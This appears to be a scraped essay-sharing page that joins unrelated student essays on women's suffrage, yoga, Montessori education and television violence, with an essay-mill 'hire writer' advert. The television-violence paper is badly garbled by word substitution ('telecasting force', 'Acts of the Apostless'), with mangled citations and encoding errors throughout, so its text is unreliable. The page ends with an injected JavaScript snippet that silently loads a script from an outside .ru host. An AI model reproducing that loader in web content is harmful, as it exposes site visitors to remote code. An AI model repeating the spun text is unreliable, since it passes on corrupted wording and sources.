Women s Rights During The 19th Amendment - 1414 Words

right to vote when the 19th amendment got ratified in the year 1920. Before the 19th amendment, only 4 states gave women the right to vote. The western states gave women the right to vote so that more people could come to their states. The women suffrage was run by strong women. Two of the women were Susan B. Anthony and Elizabeth Cady. The women got the right to vote because they have been fighting for their rights since 1775, women were striking for their rights at their job to so that they can be equal as men, the women’s right convention that opened the new possibility for women, and the 4 states that gave women rights before the 19th amendment. Women have been fighting for their right to vote ever since 1775. They have†¦show more content†¦It was a turning point in women’s activism.† Even though their strike ended, they still got their demands. They were getting acknowledged by getting their demands met. Even though they were not acknowledged in the union the strike changed the way that women were getting paid and their working conditions. Another reason why women got acknowledged and got their right to vote was because of the Women Conference. â€Å"It wasn’t until 1848 that the issue of women’s rights was forced into the open, thanks to the Women’s Rights Convention† The women’s right convention made sure that the men would not be able to look away from what they have always wanted. The Women’s right convention is viewed as the beginning of the fight for the women’s right. The Conference was the turning point in the fight for equality in women’s right to vote, work, etc. Two of the many women that led the movement Were Susan B. Anthony and Elizabeth Cady. â€Å"Anthony’s decades of crusading—including casting a ballot in the presidential election of 1872, which led to her arrest and trial—made her a hero of the fight for equal rights for women in Am erica.† This was also a turning point because one of the women who led the movement of women’s right to vote took it into her own hands and went to vote. It showed that women were not backing down and that they wanted/deserved the right to vote.Show MoreRelatedThe Beginning Of The Women s Suffrage Movement859 Words   |  4 Pagesof the women s suffrage movement in United States started in 1848. It gave women the right to vote. This movement when Lucretia Mott and Elizabeth Cady Stanton called for a women s rights convention in Seneca Falls, New York. At the women s right convention in Seneca Falls, New York women demanded to have the equal right as men (education, property, voting, and etc). On August 18, 1920, after the long 72 year movement for women s rights 19th amendment was ratified. Originally the 19th AmendmentRead MoreThe Era Of Equality For Women1271 Words   |  6 PagesAnnie Zhou Mrs. Park English-11 22 April 2016 1920’s research— The Era of Equality for women The 1920s, known as â€Å"Roaring Twenties†, were an age of prosperity and changes, it’s one of the most special and colorful decade in the America history. Numerous exciting and unprecedented events happened during this decade, it was full of opportunity and remarkable people, the economic was blooming, new arts were formed and brand new ideas appeared, the national confliction emerged in large numbers, multipleRead MoreThe Fight For Women s Suffrage Movement1328 Words   |  6 PagesThe Fight For Women’s Suffrage The Women’s Suffrage Movement of the 1920’s worked to grant women the right to vote nationally, thereby allowing women more political equality. Due to many industrial and social changes during the early 19th century, many women were involved in social advocacy efforts, which eventually led them to advocate for their own right to vote and take part in government agencies. Women have been an integral part of society, working to help those in need, which then fueled aRead MoreThe During The 19th Century902 Words   |  4 PagesThe events in the 19th century had changed the lives of women and blacks completely. It was an age where the impact of the industrial revolution caused a sharp differentiation between the gender roles, especially of the upper and middle classes. In 19th century, appeared the events such as African American Civil Rights Movement, Civil War, and The Women’s Rights Movement had put women and blacks’ role to a new level. During the Civil W ar, women stepped out of their domestic domains to support theRead MoreExploring Their Rights And Encountering Change : Women Of The 1920s1344 Words   |  6 PagesExploring Their Rights and Encountering Change: Women of the 1920s Today, women have the same rights as men, but it wasn’t always that way. Women had very little rights in the 1920s. In this paper, we will look into the struggles of women, how their jobs changed from when they gained their rights, and finally we will go over some famous activists. The campaign for women’s suffrage began in the earnest in the decades before the Civil War. During the 19th century, as male suffrage was slowly extendedRead MoreThe Treaty Of The 19th Amendment1345 Words   |  6 Pagesthe late 19th century. The right to vote for women will always be considered a mile marker by feminists- and it’s long term effects are often overlooked. The ratification of the 19th Amendment led to a powerful, new agenda in the political world and a radical alteration from the nuclear gender stereotype of a woman. I chose this topic because the feminist agenda in the United States today is often ignored because it is mistaken for misandry. I have heard countless men ( and sadly, women) say thatRead MoreEssay on The Womens Rights Movement 1848-19201091 Words   |  5 PagesThe Women’s Rights Movement was a long and persistent battle fought by many brave female advocates that came before us such as Elizabeth Cady Stanton, Lucretia Mott and Susan B. Anthony. These women selflessly dedicated their lives to the ratification of the 19th Amendment, which forever changed the lives of womankind in America. Prior to their efforts, the United States was still in shambles over the Civil War and spent most of its focus on rebuilding the country and securing rights to African AmericanRead MoreA Brief Note On Ethics And Social Responsibility1543 Words   |  7 PagesWomen Equality Paige Haddock SOC 120: Introduction to Ethics Social Responsibility Shana Goodson 11/23/15  Introduction Promoting gender equality and empowering women and girls is a priority for the United States. Women’s equality has came a long ways. Women used to have it very hard historically, but even today women still experience some inequality towards men. In this paper it will examine the equalities in: voting, the workplace, and sexual harassment. This paper will also so how theRead MoreInfluential Leaders Of Women s Suffrage1660 Words   |  7 Pagesin Women s Suffrage helped to improve the quality of life in the 1920’s by fighting for equality, and driving congress to pass the 19th amendment that gave women the strength and courage to stand up for themselves. Elizabeth Cady Stanton, born in 1815 Johnstown, New York, was an American feminist who organized the first women’s rights convention at the Wesleyan Chapel in Seneca Falls. On July 19th, 200 women met at this chapel to discuss the social, civil, and religious condition and rights of womanRead MoreA Brief Note On Women s Suffrage Movement1379 Words   |  6 PagesRough Draft Woman’s Suffrage Movement During the early 19th century many women were involved in social advocacy efforts, which eventually led them to advocate for their own right to vote and take part in government agencies. Women fought for their voices to be heard in politics. The 19th amendment was one of the most essential turning points in history; before their voices were not as valuable as their husbands or fathers, until 1920 when the 19th amendment was ratified and gave us a new beginning

Yog Yoga And Yoga - 1370 Words

In addition to meditation, yoga is also an important practice in Hinduism as well as in Tibetan Buddhism. Yoga is used as a means to enlightenment and has influenced other religious and spiritual practices throughout the world. The Bhagavad Gita and the Yogasutra are some of the scriptures that establish the basis for yoga. The four main types of yoga are Karma Yoga, Bhakti Yoga, Jnana Yoga and Raja Yoga. Yoga helps gain a mastery over the body and mind and can lead to the knowledge of actual reality. The ultimate goal of yoga is to attain liberation from suffering and the endless cycle of birth and death. Yoga and meditation are used together in order to achieve this liberation and one who studies yoga is referred to as a yogi. While at homestays in a village outside of Mae Rim, Thailand, I had the oppertunity to meet a man named Ajarn Penom. Penom was the husband of our Thai language teacher, Ajarn Petchara. Penom, though no longer, was ordained as a monk in the school of Theravada Buddhism when he was just a small boy. He served as a novice and then monk for ten years. One day instead of our regular language class, we were lucky enough to have Penom come into class and talk to us about Theravada Buddhism and his life as a monk. That night we had the opportunity to visit the temple of his residency, one of the most beautiful in Thailand, and participate in meditation, chanting and a walking ceremony where we circled one of the templesShow MoreRelatedYog Yoga With Mindfulness1363 Words   |  6 PagesYoga with mindfulness Yoga is a mindful physical practice that brings mindfulness to the body in movement. It also offers other health benefits such as rejuvenating the body by keeping bones, muscles, joints, organs and nerves healthy, flexible and supple. Just as in mindful sitting, mindful yoga brings awareness to your breath, thoughts, and emotions as you practice, but it also adds focus on your movement and posture so you will need to wear comfortable clothing that will not restrict yourRead MoreYog Yoga And Meditation753 Words   |  4 PagesYoga and Meditation The term â€Å"Yoga† has been derived from ye Sanskrit word, â€Å"Yuji† which means union. Through this exercise, a union of the mind and body with a sense of harmony and consciousness is achieved. Yoga is also universal. Yoga is used by many to help with health issues, and an overall feeling of wellness. Even known to help with some cancers. Yoga is not used just for religious purposes. Yoga has been said to have originated in India, before the coming of Christ. Yoga and MeditationRead MoreFive Points Of Yog Yoga Essay723 Words   |  3 PagesGi Kim PED 109-03 YOGA Carol Ennser November 3, 2014 Five Points of Yoga For this assignment, I thought I would be helpful for me to know about five points of yoga. Swami Vishnudevananda who was born in South India came up with five essential principles of doing yoga. The five points of yoga focused on mental, spiritual, and physical health: proper exercise, proper breathing, proper relaxation, proper diet, and positive thinking and meditation. I think it is important to remind myself aboutRead MoreThe Origins Of Yoga And The Second School Being Hatha Yoga2963 Words   |  12 Pagespractice of Yoga. His message permeated throughout the United States while capturing the minds of brilliant Americans such as Gertrude Stein. Vivekananda as well as the Doctrine of Yoga were a sensation, but what has become of the mystical practice known as yoga. In this paper I will discuss the origins of yoga in the West, various schools of thought associated with yoga and with a focus on two in particular: the first being Raja yoga (royal yoga) and the second school bein g Hatha yoga. Dr. John RenardRead MoreSocial Reformers of India2306 Words   |  10 PagesSwami Vivekanand: (January 12, 1863–July 4, 1902) He was the founder of Ramakrishna Mission. Vivekananda is considered to be a major force in the revival of Hinduism in modern India. He is considered a key figure in the introduction of Vedanta and Yoga in Europe and America. He introduced Hinduism at the Parliament of the World s Religions at Chicago in 1893. for main article go to Swami Dayanand Saraswati Swami Dayanand Saraswati: (February 12, 1824 – October 31, 1883) was an important HinduRead MoreManagement and Teaching Note19520 Words   |  79 PagesPatel, J; Vasanthi, V IBS Research Center, Bangalore 11pp; Teaching note 707-034-8 (16pp) 707-029-1 WAL-MART’S SUSTAINABILITY INITIATIVES Fernando, R; Bellamkonda, BK ICMR Center for Management Research 16pp; Teaching note 707-029-8 (7pp) 707-035-1 YOGA: AN UPCOMING BUSINESS IN US Thadamalla, JS; Sharma, N; Mankad, R IBS Research Center, Bangalore 17pp electronic delivery of case materials Would you and your students like faster access to case materials? ecch can deliver electronically: Case master

Absorbent Mind free essay sample

Dr. Maria Montessori, and Italian physician and educator, observed the interaction between the child and her environment, taking note of the eagerness with which young children engage in the world around them. She also recognized the ease with which a child could learn during the first 6 years of life. She referred to this time as the Absorbent Mind stage because of the sponge-like ability of the child to take in new information. Many of Dr. Montessoris scientific observations and theories are being supported by brain research being done today, nearly 100 years later. You hould be taking advantage of your childs absorbent mind and feeding it regularly. You can provide your child with hands-on materials and experiences that refine their senses in their every day environment. Giving your child the opportunity to participate in day to day activitiesfor example, cooking dinner, watering household plants, making their bed, filling a bird feederare Just a few examples of the kinds of experiences that engage a young childs mind and body. We will write a custom essay sample on Absorbent Mind or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Active participation in life gives the child the opportunity to think logically, sequencing the steps needed to erform a given task. Each task completed builds self esteem. When the childs mind and body are active his intellect is able to develop fully. Allow your children to explore the world around them, follow their interests, and learn how to delve into new experiences. As a Montessori teacher with 16 years experience in the classroom I have had the opportunity to guide 2. 5 to 6 year old children in learning to tie their own shoes, read their first book, count to 1000, bake bread, learn the names of shapes, countries in Africa, notes on the C-maJor scale and much, much more. None of those individual accomplishments compare to what a former student of mine recently wrote to me. l learned how to learn with Laura, wrote Emmanuel Verret (now 14 years old). No teacher could be given higher praise. As a parent, you are your childs first teacher, and they can learn much from you. As you think about how your child spends her day you may want to ask, Is my child having a five star day? Have I created a bountiful experience? Have new connections been created in that incredible brain? Is my child learning how to learn?

Untitled Essay Research Paper IMPACT OF TELEVISION free essay sample

Untitled Essay, Research Paper Impact OF TELEVISION VIOLENCE IN RELATION TO JUVENILE DELINQUENCYTABLE OF CONTENTSIntroductionEffects Of Television # 8211 ; The BeginningCorrelational ExperimentsField ExperimentsCause And Effects On Types Of ChildrenConclusionReferences 113568When kids are taught how to bind their places, it is because of how their parents showed them. When kids are taught how to make math jobs it is because how their instructors demo them. With all of the function theoretical accounts how does telecasting consequence our kids? Many grownups feel that because they watched telecasting when they were immature and they have non been negatively affected so their kids should non be affected every bit good. What we must foremost recognize is that telecasting today is different than telecasting of the yesteryear, force is more prevailing in todays programming unlike the true household scheduling of the past.EFFECTS OF TELEVISION # 8211 ; THE BEGINNINGQuestions about the effects of telecasting force have been around since the beginning of telecasting. The first reference of a concern about telecasting # 8217 ; s effects upon our kids can be found in many Congressional hearings every bit early as the 1950s. For illustration, the United States Senate Committee on Juvenile Delinquency held a series of hearings during 1954-55 on the impact of telecasting plans on juvenile offense. These hearings were merely the beginning of go oning congressional probes by this commission and others from the 1950s to the present. 1 In add-on to the congressional hearings begun in the 1950s, there are many studies that have been written which include: National Commission on the Causes and Prevention of Violence ( Baker A ; Ball, 1969 ) ; Surgeon General # 8217 ; s Scientific Advisory Committee on Television and Social Behavior ( 1972 ) ; the study on kids and telecasting play by the Group for the Advancement of Psychiatry ( 1982 ) ; National Institute of Mental Health, Television and Behavior Report ( NIMH, 1982 ; Pearl, Bouthilet, A ; Lazar, 1982 ) ; National Research Council ( 1993 ) , violence study ; and studies from the American Psychological Association # 8217 ; s Task Force on Television and Society ( Huston, et al. , 1992 ) and Commission on Violence and Youth ( American Psychological Association, 1992 ; Donnerstein, Slaby, A ; Eron, 1992 ) . All of these studies agree with each other about the harmful effects of telecasting force in relation to the behaviour of kids, young person, and grownups who view violent scheduling. The lone thing that we know about the effects of exposure to force and the relationship towards juvenile delinquency we gather from correlational, experimental and field surveies that demonstrate the effects of this sing on the attitudes and behaviour of kids and grownups. Children begin watching telecasting at a really early age, sometimes every bit early as six months, and are intense viewing audiences by the clip that they are two or three old ages old. In most instances the sum of televised sing becomes greater with age and so tapers off during adolescence. ) . The force that is viewed is more of import than the sum of telecasting that is viewed. Harmonizing to audience evaluation studies, the typical American family has the telecasting set on for more than seven hours each twenty-four hours and kids age 2 to 11 spend an norm of 28 hours per hebdomad screening. ( Andreasen, 1990 ; Condry, 1989 ; Liebert A ; Sprafkin, 1988 ) The most of import certification of the sum of force viewed by kids on telecasting are the surveies conducted by Gerbner and his co-workers on the nature of American telecasting plans. The consequences of these annual analyses of the sum of force on American telecasting for the 22-year period 1967-89 indicate a steady but turning high degree of force. ( Gerbner A ; Signorielli, 1990 ) Programs particularly designed for kids, such as sketchs are the most violent of all scheduling. How many times have we all seen the Coyote attempt to kill the RoadRunner? GI Joe and many other plans besides represent force and the usage of deathly arms. Overall, the degrees of force in prime-time scheduling have averaged about five Acts of the Apostless per hr and kids # 8217 ; s Saturday forenoon plans have averaged approximately 20 to 25 violent Acts of the Apostless per hr. ( Lichter A ; Amundson, 1992 ) However a recent study by the Center for Media and Public Affairs identified 1,846 violent scenes broadcast and cablecast between 6 ante meridiem to midnight during one twenty-four hours in Washington, D.C. The most violent periods were between 6 to 9 a.m. with 497 violent scenes ( 165.7 per hr ) and between 2 to 5 p.m. with 609 violent scenes ( 203 per hr ) . ( Lichter A ; Amundson, 1992 ) Most of this force is shown during hours that are non by and large viewed by the grownups hence force in the early forenoon and afternoon is viewed by kids and youth.CORRELATIONAL EXPERIMENTSWhat are the effects of this televised force on our kids? What we know about the influence of Television force comes from the research of correlational, experimental and field surveies that have been conducted over the past 40 old ages. The sum of grounds from correlational surveies is really consistent in demoing the effects of force in relation to kids: In most instances sing and holding a penchant for watching violent telecasting is related to aggressive attitudes, values and behaviours. During 1972 Robinson and Bachman ( 1972 ) found a relationship between the figure of hours of telecasting viewed and adolescent studies of engagement in aggressive or antisocial behaviour. During that same twelvemonth Atkin, Greenberg, Korzenny, and McDermott ( 1979:5-13 ) used a different step to find aggressive behaviour. They gave nine to thirteen-year-old male childs and misss state of affairss such as the followers. Suppose that you are siting your bike down the street and some other kid comes up and pushes you off your bike. What would you do? The response options included physical or verbal aggression along with options to cut down or avoid struggle. This group found that physical or verbal aggressive responses were selected by 45 per cent of heavy-television-violence viewing audiences compared to merely 21 per centum of the light-violence viewing audiences. During 1983 Phillips ( 1983:560-568 ) recorded the effects of the portraiture of self-destructions in telecasting soap operas on the self-destruction rate in the United States utilizing decease records he gathered from the National Center for Health Statistics. He found, over a six-year period, that whenever a major soap opera personality committed self-destruction on telecasting, within three yearss there was a important addition in the figure of female self-destructions across the state. The major experimental surveies of the cause and consequence relation between telecasting force and aggressive behaviour were completed by Bandura and his co-workers ( Bandura, Ross A ; Ross,1961:575-582, 1963:3-1 ) working with immature kids, and by Berkowitz and his associates ( Berkowitz, 1962 ; Berkowitz A ; Rawlings, 1963:405-412 ; Berkowitz, Corwin A ; Heironimus, 1963:217-229 ) who studied striplings. A immature kid was given a movie, so projected on a telecasting screen, the movie showed a individual who kicked and beat an inflated fictile doll. The kid was so placed in a rumpus room scene and so they recorded the sum of times that aggressive behaviour was seen. The consequences of these early surveies indicated that kids who had viewed the aggressive movie were more aggressive in the rumpus room than those kids who had non observed the aggressive individual. The reply seems to be yes. Several surveies have demonstrated that one exposure to a violent sketch leads to increased aggression. During 1971, Hapkiewitz and Roden ( 1971:1583-1585 ) found that male childs who had seen violent sketchs were less likely to portion their playthings than those who had non seen the violent sketch. It seems clear from experimental surveies that one can demo increased aggressive behaviour as a consequence of either long term or brief exposure to televised force, but inquiries still originate about whether this increased aggressiveness seen in these experimental scenes show in the kids # 8217 ; s day-to-day lifes.FIELD EXPERIEMENTSIn normal field-experiments, the research worker shows telecasting plans in the normal sing scene and observes behavior where it of course occurs. The research worker controls the telecasting programming either by set uping a particular series of plans or by taking towns that in the natural class of events receive different telecasting plans. One of the early field-experiments in 1972 conducted by Stein and Friedrich ( 1972:202-317 ) for the Surgeon General # 8217 ; s undertaking dealt with 97 preschool kids with a scheduling / gt ; of either antisocial, prosocial, or impersonal telecasting plans during a four-week screening period. The consequences indicated that kids who were judged to be slightly in the get downing aggressive became progressively more aggressive as a consequence of sing the Batman and Superman sketchs. The kids who had viewed the prosocial scheduling of Mister Roger # 8217 ; s Neighborhood were less aggressive, more concerted and more willing to portion with other kids. ( Stein, Friedrich, 1972:202-317 ) Cause AND EFFECTS ON TYPES OF CHILDRENWe acquire a clearer image about the effects of Television force when we know more about the manner kids watch televised force. For illustration, Ekman and his associates ( Ekman et al. , 1972 ) found that kids whose facial looks, while sing televised force, depicted the positive emotions of felicity, pleasance, involvement or engagement were more probably to ache another kid than were those kids whose facial looks indicated neutrality or displeasure. Although there is much treatment about the sum of research grounds refering the impact of telecasting force, most research workers would hold with the decision in the study during 1982 by the National Institute of Mental Health, which suggests that there is a decision among members of the research community that force on telecasting does take to aggressive behaviour by kids and adolescents who watch the plans . ( NIMH, 1982 ) This decision is based on research lab experiments and on field surveies. Not all kids become aggressive, of class, but the correlativities between force and aggression are positive. Television force is strongly correlated with aggressive behaviour as any other behavioural variable that has been measured. The research inquiry has moved from inquiring whether or non there is an consequence, to seeking accounts for the consequence. While the effects of telecasting force are non merely straightforward, analyses and reappraisals of research suggest that there are clear grounds for concern and cautiousness in relation to the impact of televised force. To be certain, there are many factors that influence the relationship between sing force and aggressive behaviour and at that place has been much argument about these influences. It is clear that there is a considerable sum of force on telecasting and that this force on Television may do alterations in attitudes, values, or behaviour on kids and older viewing audiences. Although there are many different positions on the impact of Television force, one really strong sum-up is provided by Eron during his 1992 Congressional testimony: There can no longer be any uncertainty that heavy exposure to televised force is one of the causes of aggressive behaviour, offense and force in society. The grounds comes from both the research lab and real-life surveies. ( Eron, 1992 ) Television force affects kids of all ages, of both genders, at all socio-economic degrees and all degrees of intelligence. The consequence is non merely limited to kids who are already aggressive and is non restricted to this state. The facts remain that we get the same findings of a relationship between telecasting force and aggression in kids study after survey, in every state, and every economic degree. The consequence of telecasting force on aggression, even though it is non really big, exists. This consequence has been demonstrated outside the research lab in real-life among many different kids. Childs have come to warrant their ain behaviour through the scenes of force and negativeness involved in telecasting scheduling. The recent study by the American Psychological Association Task Force on Television and Society ( Huston, et al. , 1992 ) adds: # 8230 ; the behaviour forms established in childhood and adolescence are the foundation for womb-to-tomb forms manifested in maturity ( Huston, et, al. , 1992:57 ) .CONCLUSIONThe most recent sum-up released in August, 1993 of the American Psychological Association Commission on Violence and Youth: Violence and Youth, Psychology # 8217 ; s Response, confirms the findings noted above and reaffirms the demand to see ways to cut down the degree of force in all media. ( APA, 1993:77-78 ) . In decision we should retrieve that although the media surely has a batch to reply for, it is of import to retrieve that non everything that comes through the Television is bad. Rather, it is overexploitation and by and large a careless attitude by grownups that so frequently leads to regrettable results.REFERENCESAmerican Psychological Association. ( 1993 ) Violence A ; Young person: Psychology # 8217 ; s Response. Volume I: Drumhead Report of the American Psychological Association Commission on Violence and Young person. Washington. D.C. : American Psychological AssociationAmerican Psychological Association. ( 1985 ) Violence on telecasting. Washington, DC: APA Board of Social and Ethical Responsibility for Psychology.Andreasen ( 1990 ) . Development in the household # 8217 ; s usage of telecasting: Normative informations from industry and academia. In J. Bryant ( Ed. ) , Television and the American household ( pp. 3-55 ) . Hillsdale, NJ: Lawrence Erlbaum Associates.Atkin, C.K. ( 1983 ) . Effectss of realistic Television force vs. fictional force on aggression. Journalism Quarterly, 60, 615-621. Bandura, A. , Ross, D. , A ; Ross, S.H. ( 1963 ) . Imitation of film-mediated aggressive theoretical accounts. Journal of Abnormal and Social Psychology, 66 ( 1 ) , 3-11.Bandura, A. , Ross, D. , A ; Ross, S.H. ( 1961 ) Transmission of aggression through imitation of aggressive theoretical accounts. Journal of Abnormal and Social Psychology, 63 ( 3 ) , 575-582.Berkowitz, L. ( 1962 ) Aggression: A societal psychological analysis. New York: McGraw-Hill.Berkowitz, L. , Corwin, R. A ; Heironimus, M. ( 1963 ) Film force and subsequent aggressive inclinations. Public Opinion Quarterly, 27, 217-229.Berkowitz, L. , A ; Rawlings, E. ( 1963 ) Effectss of movie force on suppressions against subsequent aggression. Journal of Abnormal and Social Psychology, 66 ( 5 ) , 405-412.Ekman, P. , Liebert, R.M. , Friesen, W. , Harrison, R. , Zlatchin, C. , Malmstrom, E.V. , A ; Baron, R.A. ( 1972 ) Facial looks of emotion as forecasters of subsequent aggression. In G.A. Comstock, E.A. Rubinstein, A ; J.P. Murray ( explosive detection systems. ) Television and Social Behavior, vol. 5, Television # 8217 ; s Effectss: Further Explorations. Washington, DC: United States Government Printing Office.Eron, L. ( 1992 ) The impact of televised force. Testimony on behalf of the American Psychological Association before the Senate Committee on Governmental Affairs, June 18, 1992.Gerbner, G. A ; Signorielli, N. ( 1990 ) Violence profile, 1967 through 1988-89: Enduring forms. Manuscript, University of Pennsylvania, Annenberg School of Communications.Hapkiewitz, W.G. A ; Roden, A.H. ( 1971 ) The consequence of aggressive sketchs on kids # 8217 ; s interpersonal drama. Child Development, 42, 1583-1585.Huston, A.C. , Donnerstein, E. , Fairchild, H. , Feshbach, N.D. , Katz, P.A. , Murray, J.P. , Rubinstein, E.A. , Wilcox, B. , A ; Zuckerman, D. ( 1992 ) Large universe, little screen: The function of telecasting in American society. Lincoln, NE: University of Nebraska Press.Russell Sage Foundation. Lichter, R.S. A ; Amundson, D. ( 1992 ) A twenty-four hours of telecasting force. Washington, DC: Center for Media and Public Affairs.National Institute of Mental Health ( 1982 ) Television and behaviour: Ten old ages of scientific advancement and deductions for the 1880ss ( vol. 1 ) , Drumhead study. Washington, DC: United States Government Printing Office.Phillips, D.P. ( 1983 ) The impact of mass media force on U.S. homicides. American Sociological Review, 48, 560-568.Robinson, J.P. A ; Bachman, J.G. ( 1972 ) Television sing wonts and aggression. In G.A. Comstock A ; E.A. Rubinstein ( explosive detection systems ) Television and Social Behavior , vol. 3, Television and Adolescent Aggressiveness. Washington, DC: United States Government Printing Office.Stein, A.H. A ; Friedrich, L.K. ( 1972 ) Television content and immature kids # 8217 ; s behaviour. In J.P. Murray, E.A. Rubinstein A ; G.A. Comstock ( Eds. ) Television and societal behaviour ( vol. 2 ) , Television and societal acquisition ( pp. 202-317 ) . Washington, DC: United States Government Printing Office. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;